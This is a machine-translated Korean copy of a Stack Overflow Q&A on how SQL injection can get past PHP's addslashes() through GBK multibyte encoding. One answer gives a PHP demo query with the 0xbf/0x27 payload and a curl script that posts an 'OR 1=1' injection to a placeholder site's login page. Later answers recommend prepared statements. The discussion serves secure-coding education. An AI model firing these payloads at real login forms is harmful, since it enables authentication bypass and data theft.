복붙노트

[SQL] addslashes를 통해 SQL 주입의 예 ()?

SQL

addslashes를 통해 SQL 주입의 예 ()?

PHP에서, 그 mysql_real_escape이 addslashes를 사용하는 것보다 훨씬 안전 알고있다. 그러나, 나는 addslashes는 SQL 주입이 일어날 수 있도록 할 상황의 예를 찾을 수 없습니다.

사람이 몇 가지 예제를 줄 수 있습니까?

해결법

  1. ==============================

    1.음, 여기 당신이 원하는 기사입니다.

    음, 여기 당신이 원하는 기사입니다.

    기본적으로, 공격이 작동하는 방식이 addslashes을 얻는 것입니다 () 백 슬래시가 유효한 멀티 바이트 시퀀스의 일원으로 그 의미를 상실하도록 멀티 바이트 문자의 중간에 백 슬래시를 넣어.

    기사에서 일반적인주의 :

  2. ==============================

    2.크리스 시프 렛은 명확하게 울부 짖는 소리의 예를 사용하여 데이터베이스에 GBK 인코딩을 사용하는 경우 당신이 그것을 시도하는 경우에 그 뜻의 코스 작업을 설명합니다. 심지어 나는 그들이 매우 적은에도 불구하고,이 입증, SQL 주입을위한 기회가 그것을 시도하지만, 좋은 지식과 능력을 가진 사람이 쉽게 주사한다. 다음은 그 예이다 ..

    크리스 시프 렛은 명확하게 울부 짖는 소리의 예를 사용하여 데이터베이스에 GBK 인코딩을 사용하는 경우 당신이 그것을 시도하는 경우에 그 뜻의 코스 작업을 설명합니다. 심지어 나는 그들이 매우 적은에도 불구하고,이 입증, SQL 주입을위한 기회가 그것을 시도하지만, 좋은 지식과 능력을 가진 사람이 쉽게 주사한다. 다음은 그 예이다 ..

    <?php 
    
           $mysql = array();
           $db = mysqli_init();
           $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
    
           /* SQL Injection Example */
    
           $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
           $_POST['password'] = 'guess';
    
           $mysql['username'] = addslashes($_POST['username']);
           $mysql['password'] = addslashes($_POST['password']);
    
           $sql = "SELECT * FROM   users
                   WHERE username = '{$mysql['username']}'
                   AND password = '{$mysql['password']}'";
    
           $result = $db->query($sql);
    
           if ($result->num_rows) {
                  /* Success */
           } else {
                  /* Failure */
           }
    
    ?>
    

    비록 addslashes의 사용 () 또는 magic_quotes_gpc의는 일반적으로 다소 안전한 것으로 간주 될 것이다, GBK의 사용은 쓸모 근처를 렌더링 것입니다. 다음 PHP 컬 스크립트 내가이 이해하는 것이 좀 더 도움이 될 것입니다 희망, 주입의 사용을 할 수있을 것입니다 :

    <?php
    
           $url     = "http://www.victimsite.com/login.php";
           $ref     = "http://www.victimsite.com/index.php";
           $session = "PHPSESSID=abcdef01234567890abcdef01";
    
           $ch      = curl_init();
    
           curl_setopt( $ch, CURLOPT_URL,            $url     );
           curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
           curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
           curl_setopt( $ch, CURLOPT_COOKIE,         $session );
           curl_setopt( $ch, CURLOPT_POST,           TRUE     );
           curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                     "OR 1=1/*&submit=1" );
    
           $data = curl_exec( $ch );
    
           print( $data );
           curl_close( $ch );
     ?>
    
  3. ==============================

    3.여기 답변의 독자에 대한 추가로이 MySQL의 버그는 이미 수정되었습니다 :)

    여기 답변의 독자에 대한 추가로이 MySQL의 버그는 이미 수정되었습니다 :)

    또한, 준비된 문을 사용하는 것이 좋습니다 항상입니다. 그것은 당신이 (몇 가지 사용 사례 가장 확대됨과) 쿼리를 발사 할 수있는 가장 악용없는 방법입니다. 그리고이 결함에서 당신을 저장 한 것입니다.

  4. ==============================

    4.() 분명히 mysql_real_escape_string를 설명합니다 문 준비 대 () mysql_real_escape_string를하는 것은 100 % 안전합니다.

    () 분명히 mysql_real_escape_string를 설명합니다 문 준비 대 () mysql_real_escape_string를하는 것은 100 % 안전합니다.

    mysql_set_charset ( 'GBK')를 사용하여는 mysql_query ( "SET 문자 집합 'GBK'을") 교체하십시오는 mysql_real_escape_string ()는 100 % 확보 할 수있다.

  5. from https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes by cc-by-sa and MIT license